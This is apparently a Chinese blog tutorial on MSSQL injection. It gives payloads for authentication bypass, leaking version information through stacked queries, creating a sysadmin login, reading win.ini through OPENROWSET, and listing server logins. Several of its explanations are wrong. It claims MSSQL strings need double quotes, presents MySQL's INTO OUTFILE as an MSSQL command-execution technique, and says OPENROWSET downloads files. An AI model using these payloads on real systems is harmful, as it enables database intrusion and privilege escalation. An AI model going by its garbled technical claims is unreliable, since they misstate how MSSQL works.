一、mssql注入語句
mssql注入語句與常規的SQL注入語句略有不同。當我們使用單引號(’)將輸入的參數括起來時,將會出現語法錯誤。因此,我們需要使用雙引號(”)括起來。例如:
SELECT * FROM users WHERE name = "admin" AND password = "a' OR '1'='1"
這條語句將會返回所有用戶名為admin並且密碼符合該注入語句的用戶。
二、mssql報錯注入函數
mssql注入時,可以使用一些特殊的字符或者函數來觸發服務器端的數據庫錯誤,從而獲取更多的信息。例如:
SELECT * FROM users WHERE id = xxx; SELECT @@version; SELECT @@servername;
通過以上例子,我們可以獲得系統版本和服務器名等信息。
三、mssql注入執行命令
在mssql注入過程中,我們還可以執行系統命令。例如:
SELECT * FROM users INTO OUTFILE '/tmp/test.php';
這條語句將會將users表的數據導出到名為test.php的文件中。通過代碼執行這個文件,可以得到完整的系統訪問權限。
四、mssql注入使用存儲擴展
用戶可以在mssql數據庫中創建存儲過程(Stored Procedure)來完成複雜操作,也可以通過存儲過程繞過常規的注入方法。例如:
EXEC sp_addlogin 'test', 'test';
EXEC sp_addsrvrolemember 'test', 'sysadmin';
通過執行以上代碼,我們可以創建一個名為test的賬戶,並為它賦予sysadmin的權限,從而獲得系統訪問權限。
五、mssql注入sa權限
sa是mssql中最高權限的用戶賬戶,擁有完全的數據庫管理權限。當我們成功獲得sa賬戶的權限時,我們就可以完全掌控數據庫了。
SELECT * FROM users WHERE name = 'admin' AND password LIKE '%password%' AND IS_SRVROLEMEMBER('sysadmin') = 1
以上注入代碼會返回sa賬戶信息。如果成功獲取到sa賬戶權限,我們就可以執行所有權限指令。
六、mssql注入讀文件
在mssql注入時,我們還可以通過查詢公共文件來讀取敏感數據。例如:
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS content;
以上代碼將從win.ini文件中讀取數據。
七、mssql注入下載文件
在mssql注入時,如果我們需要下載敏感文件,可以使用以下代碼:
SELECT * FROM OPENROWSET(BULK 'file:///C:/Windows/win.ini', SINGLE_BLOB) AS content;
以上代碼將win.ini文件下載到當前目錄下。
八、mssql注入查看系統用戶
在mssql注入時,我們可以通過以下代碼來查看系統所有用戶:
SELECT name FROM sys.syslogins;
以上代碼將返回所有系統用戶的用戶名。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-hk/n/189144.html